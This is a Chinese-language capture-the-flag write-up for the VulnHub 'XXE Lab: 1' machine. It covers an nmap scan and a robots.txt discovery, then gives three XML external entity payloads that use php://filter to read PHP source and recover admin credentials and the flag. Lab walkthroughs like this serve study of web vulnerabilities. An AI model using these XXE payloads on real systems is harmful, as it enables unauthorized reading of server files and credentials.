关于Vulnhub里的xxelab1过关
ps:跟着小迪老师的视频过的关
靶机下载链接:XXE Lab: 1 ~ VulnHub
由于靶机打开后是要登录的,然而设计者并没有给登录密码,所以ip地址未知
因此先用nmap对网段进行扫描
nmap -sS 192.168.145.1/24

发现可疑ip,尝试访问并且访问成功,网页本身没什么可疑点,所以对网站进行目录文件扫描


发现robots.txt文件,并访问

存在xxe目录和admin.php文件

登录并抓包

从Conten-Type或者数据格式类型可以判断存在xxe漏洞
(数据格式类型判断:
Content-Type值判断:text/xml,appliacation/xml)
将包发送到Repeater上尝试用payload进行攻击
payload:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>&sp;</name><password>hj</password></root>

得到的base64加密数据发送到Decoder下解码,但是我看不出什么来,继续读取admin.php内容,并且继续解码
payload:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>



解码后发现登录账号和密码,但是密码是采用md5加密所以直接解密,尝试登录一下


点击flag后跳转到了一个Not Found 的网页,继续使用payload读取内容并解码,注意此时是在根目录,而之前是在xxe的目录下,所以需要使用./来跳转

payload:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>

解码后就得到flag了
